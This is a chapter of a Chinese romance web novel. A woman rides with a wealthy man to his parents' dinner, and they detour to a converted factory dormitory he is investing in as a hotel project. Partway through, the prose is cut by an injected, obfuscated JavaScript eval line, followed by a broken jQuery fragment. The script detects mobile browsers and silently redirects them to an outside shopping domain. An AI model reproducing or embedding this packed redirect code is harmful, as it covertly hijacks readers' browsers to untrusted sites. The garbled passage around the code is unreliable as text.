程千玥从沙发上起了身,又弯腰去够前面茶几上的礼盒。
望着这一桌子的伴手礼,荀聿昭稍稍伸手在她身前挡了一下,“这些都是要拿到我家去的?”
“嗯,到人家吃饭总不能空肚子又空手吧。”
“不用了,是我爸妈硬要邀请你,本来就占用了你周末休息的时间,怎么还能收你东西呢,还是算了吧。”
程千玥微笑着回答:“没关系的,这也是我爸妈准备的,就当是他们之间的礼尚往来吧。你司机还在外面等着吧,这个时间点,我也来不及喊人再来拿走了。”
听了这话,荀聿昭嘴角不自觉浮起了一抹笑容,随即又低头顺手拎了起来,还好不算重,“那就先放车上,一会儿再说吧。”
程千玥跟在后面出了门,一回头,果然看到范经理在前台角落朝这边张望。
在门外等候的司机见二人出来了,提前打开了后排车门。
车里冷气开得很足,程千玥一坐下,隔着衣料就觉得真皮座椅跟加了冰垫似的,腿前冷风一吹都快起一层鸡皮疙瘩了,只得并拢双腿向一旁移了移。
荀聿昭从另一边上了车,将不知道从哪儿拿出来的一块薄毯递给了她,又对外面的司机说:“车里空调先关一会儿吧。”
“谢谢。”
两人视线短暂相接,又是礼貌而不失尴尬地一笑。程千玥抖开折叠好的毯子,盖到了腿上。
“项目已经开工了,程经理你这段时间应该挺忙的吧,都搬到店里来住了。”
刚刚还程小姐,这么快就改口了?程千玥心里嘀咕着,嘴上却还是跟着公事公办地回答说:“是啊,还是项目优先,有人在现场比较安心。”
“你毕业之后就在这儿工作了吗?”
这到底是看过她的资料还是没看过?折中一下,大概是没好好看吧。“没,先在外面工作了两三年才回来的。你呢?”
有时候事前功课做得好太细致也不一定是好事,姓名、年龄、学历、职业,甚至包括身高,简历上的所有信息都已经印在脑子里了,程千玥严重怀疑自己此刻的笑容是否自然。
“我是去年八月回来的,回来之前正好飞了一趟英国,去了苏格兰高地。”
七八月几乎浓缩了不是在刮风下雨就在酝酿风雨路上的大英帝国全年精华的时节,程千玥短暂地回忆了一下高地的风光,好幸福啊,嘴里问的却是,“那你回来工作和生活还习惯吗?”
“嗯,挺习惯的,我也没出去多久。”
“那儿可是哈佛,要是我,哪怕只待一个月也是好的。”是某种心照不宣的承认。
“你更喜欢哪边的生活?”
“各有利弊吧,像这种梅雨季,我就格外怀念英国的夏天。但在那边妖风大作的时候,我又会怀念海洲。如果以后能像候鸟一样根据天气两头跑就好了。”
“你回来的契机是什么?”
“契机?”总不能说是和前任闹掰了才愤而回归的吧?程千玥眨了眨眼,“爸妈年纪都大了,是时候回来陪陪他们了。”
“你是独生的吧?”
“是。”
“看来大家都逃不开这样的抉择啊。”
“不过就算兄弟姐妹一大堆,想回来的还是会回来吧。”
“也是。”
车里忽然想起了手机振动的嗡鸣声,两人都伸手去摸自己的手机。
荀聿昭先接了起来,“喂,是我。今天?恐怕不太行,我已经有安排了。”
停顿了好一会儿,他又继续说道:“嗯,我知道了,你先稍等一会儿吧。”
挂了电话之后,他立刻转头看向程千玥,“不好意思,我有件事想征求一下你的意见。”
“你说。”
“我临时有点事情,要去一个地方看一下。我可以先送你到我家,我处理完马上回去。如果……”
还没等他的话讲完,程千玥就脱口而出:“我跟你一起去!”
荀聿昭没料到她还会抢答,忍不住笑了,“如果你不介意陪我一起走一趟,稍微晚点儿吃饭。”
“我当然不介意!”程千玥连忙表忠心,他还想先把她送到家里,和他爸妈面面相觑?那还不如让她多饿一会儿。
“好,那我给家里打个电话,让他们先别等了。”
“要去的地方远吗?”
“稍微有点儿,在郊区,可以吗?”
“可以啊。反正也不急着吃晚饭,一起去呗。”
荀聿昭又给家里打了个电话,“妈,我们可能晚一点儿。”
不知那边说了什么,他立刻将手机从耳边移开了一些,过了一会儿才又靠近听筒,“嗯,接到了。”
“不是故意的,真的是临时有事情。”停顿了一会儿,又说,“行,我知道了。”
程千玥双手交握,摩挲了一下手指,“阿姨生气了吗?”
“没有。”
“那就好。”
“她非觉得我是故意的,但听说接到你人了,”荀聿昭笑了一下,“就没再说话了。”
车子在前面的路口掉了头,很快就开到了绕城高速公路的入口。
大概开了四十几分钟,车子驶入了一条黑黢黢没有路灯的小路。
这周末怎么净往这些不知名的深山老林里跑呢,就算旁边坐的人是荀聿昭,程千玥心跳也因为窗外一望无际的漆黑而有些加速了。但转念一想,酒店大堂和门口都挂着监控,再怎么着也能查到自己是跟着荀聿昭走的,都留下影像了,不会怎么样的。
车灯找到了前面的大门,程千玥看到门口挂着一块鎏金招牌,但还没看清上面的招牌写的是什么字,车就已经唰地从无人看管的大门开进去了。
沿着坑坑洼洼的路又继续往里颠簸着开了几百米,前方竟然隐约出现了一片亮光。
“荀总,我们到了。”
程千玥透过车窗玻璃向外张望,发现司机把车停在了一栋建筑前,刚才看到的亮光似乎就是从这儿的窗户里发出来的。
“到了,下车吧。”身后响起了荀聿昭打开车门的声音。
程千玥也从这边打开了车门,刚一踩到地,脚下就一歪。
“啊。”是碎石子路。
“小心。”荀聿昭一把握住了她的手腕,将她拽住了,“小心脚下。”
说着,荀聿昭用腾出来的那只手从口袋里摸出手机,打开了手电筒。
“谢谢。”程千玥借了一把力,站直了,仰头望向面前这栋破旧的建筑。
透过窗户里映出来的亮光,隐约能辨认出红色砖墙的外立面,一大半又被暗绿色的爬山虎遮住了,一看就不少年头了。一根锈迹斑斑的水管在风中轻轻摇晃,吱吱呀呀发出响动。再往屋顶上看,居然还耸立着一根大烟囱,这东西城里可不多见了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677344|207540||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“走吧。”荀聿昭招呼她。
“这是哪儿?”
“东升园区。”
没听说过,“这儿是海洲吗?”
“行政区划上应该算望京了。”
“望京还有这么破的地方?”不过好歹是知道了大致所在的位置,程千玥将裙摆稍微提起来了一些,以免被路边丛生的杂草划拉到。
上了台阶,见正面是一扇破旧的木头门,她又站住了,“这不会是拆迁的危房吧,我们能进去吗?”
“放心吧,能进,我怎么能大半夜带你干违法的事呢。”荀聿昭边说边笑了起来。
“你车上有口罩吗?”
“没有。”荀聿昭往里一推就开了,没锁。
程千玥悄悄屏住了呼吸,这年久失修的破房子,一进去还不得被霉味儿给熏死啊。可等她的眼睛渐渐适应了屋内的光线,她就再也顾不上屏息防毒了,微微张嘴却不知道该说什么。
木质地板是全新的,墙面上亮着一排黄铜壁灯,挑高的房梁上还保留着钢材支架,是工业风的设计。
“……你在这儿建样板房?!”惊讶的声音在空旷的房子里被抛了几个来回,被放大得有点儿失真。
“哎呀,荀总,您都到了呀,我怎么没听见呢。”一个男人从里间走了出来,等看清荀聿昭身边还站着一个陌生的女人,又卡壳了。
“他们都走了,还特意让你留下来等我,不好意思。”
“啊,没关系,您客气了。施工队的人刚走没多久,正好灯光调试好了,我就想着让您先看一下。如果有什么不满意的,我们下周还可以继续改。”说着,男人的目光又飘到了程千玥那里。
“这是我朋友,酒店专家,跟我一起过来看看情况。”荀聿昭语气淡淡地介绍说。
“您好,我是这个项目的招商经理,叫我小陈就行。”
“什么项目?”程千玥顺嘴就问了。
“哦,您还是第一次过来,那我给你简单介绍一下吧。可以吧,荀总?”
“嗯,当然。”荀聿昭应声。
“我们这儿原来是个纺织厂,已经废了很多年,现在准备开发成文创园。这栋以前是员工宿舍,先拿出来试试,改成酒店样板房。”
程千玥再次打量起这个高挑的空间,“嗯,还挺特别的。”
“楼上有几间我们刚做好的样板房,您要去楼上看看吗?”陈经理说着就从一旁的柜子上拿出了一串钥匙。
“好呀。”
“这边还没收拾,乱七八糟的东西比较多,您小心脚下。”
“好。”程千玥跟在陈经理身后上了楼梯。
“我没想到里面是这样的。”她转身对后面的荀聿昭说。
“这边暗,小心点儿,你先走上去。”荀聿昭在她身后伸出了手,示意她先走完楼梯再说。
“要是真做起来,应该会很有意思。”
“我第一次来的时候也这么想,所以就投了。”
“你投了多少钱?”
“一上来就跟我打听这个吗?”
“你觉得……”程千玥抓住栏杆上到二楼,一个转身,连同裙子也甩了过来,“你觉得我能分一杯羹吗?”
“钱倒是不缺,现在缺的是胆子,我也不知道它最后会变成什么样子。”荀聿昭笑了笑,“你先看看吧,看完再决定要不要上船。”